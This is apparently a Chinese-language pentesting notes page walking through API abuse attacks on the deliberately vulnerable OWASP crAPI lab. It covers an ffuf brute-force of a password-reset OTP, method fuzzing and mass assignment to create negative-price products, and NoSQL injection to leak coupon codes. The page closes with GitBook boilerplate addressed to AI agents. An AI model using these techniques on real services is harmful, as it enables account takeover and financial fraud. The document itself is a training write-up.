> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/api-attack/abus-dapi-pentesting-web.md).
# API 滥用
## 从 GitHub 安装 Web 服务器（API 滥用）
```bash
curl -o docker-compose.yml https://raw.githubusercontent.com/OWASP/crAPI/main/deploy/docker/docker-compose.yml
docker-compose pull
docker-compose -f docker-compose.yml --compatibility up -d
```
* 我们 **注册** 一个新用户： 
## API 侦察
* 要发现 API 漏洞，重要的是从 **良好的侦察**开始。在 Network 部分中，像使用 [Burp Suite](/zh/hacking-tools/web/burpsuite.md) XHR 时那样捕获请求： 
* 要 **组织并存储** 所有 API 请求，我们使用 **Postman**:
```javascript
postman & disown &>/dev/null
```
* 创建一个新的 **集合** 其中所有 API 请求都会被分组。对于 **POST** 请求，粘贴 **URL** 以及尤其是原始的 **正文**:  
* 它返回 **结构为 JWT 的令牌** 登录的： 
* 创建一个名为 **accessToken** 的变量，并赋值为登录令牌： 
* 在 **authorization**部分中，将该变量关联到类型 **Bearer Token**: 
* 保存全部 **可能的请求**:
1. 仪表盘： 
2. 产品： 
3. 命令： 
## 与 API 滥用相关的漏洞：
### 暴力破解令牌恢复：
有一个选项可以 **重置密码** 方法是通过电子邮件检索令牌：
在端口 *8025*上，有一个 **SMTP** 我们在其中接收令牌：
点击 **忘记密码** 使用你想更改密码的账户的电子邮件地址：
我们捕获 **query** 到 API：
我们将请求发送为 **POST** 使用原始结构：
我们使用 **ffuf** 以发起一次 **暴力破解攻击**:
```graphql
ffuf -u http://localhost:8888/identity/api/auth/v2/check-otp -w /usr/share/SecLists/Fuzzing/4-digits-0000-9999.txt -X POST -d '{"email":"jordan@jordan.com","otp":"FUZZ","password":"Password1234*"}' -H "Content-Type: application/json" -p 1 -mc 200
```
该 **确认令牌** 0172 返回了一个 **成功状态码** 并且密码已自动更改：
### 修改产品价格并增加可用余额：
我们通过 **ffuf** 请求的可能方法来搜索 **products**:
```bash
ffuf -u http://localhost:8888/workshop/api/shop/products -w /usr/share/SecLists/Fuzzing/http-query-methods.txt -X FUZZ -p 1 -mc 200,401
```
这些都是所有 **可能的方法**:
如果我们从 **GET** 更改为 **POST**切换，这就是会发生的情况：
这是一个 **批量赋值** 允许通过 **POST** 请求创建产品的漏洞。在这种情况下，我们创建一个带有 **负** 价格的产品：
这样，它会被 **解释为** 由 Web 服务器：
因为价格是 **负**，每次我们点击 **购买**，就会有 10,000 美元被加到我们的余额中：
如果在请求 **订单**中，我们插入例如数量为 100 的产品编号，那么我们的余额将会乘以 **100 x 10 000**:
### 找到一个有效的优惠券代码：
我们发送 **validate-coupon**:
的请求 **因为优惠券**不正确，服务器不会返回任何内容：
如果我们尝试执行注入 [NoSQL ](/zh/web-vulnerabilities/nosql-attack.md)因为数据库是 **MongoDB**，它会响应优惠券代码：
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/api-attack/abus-dapi-pentesting-web.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.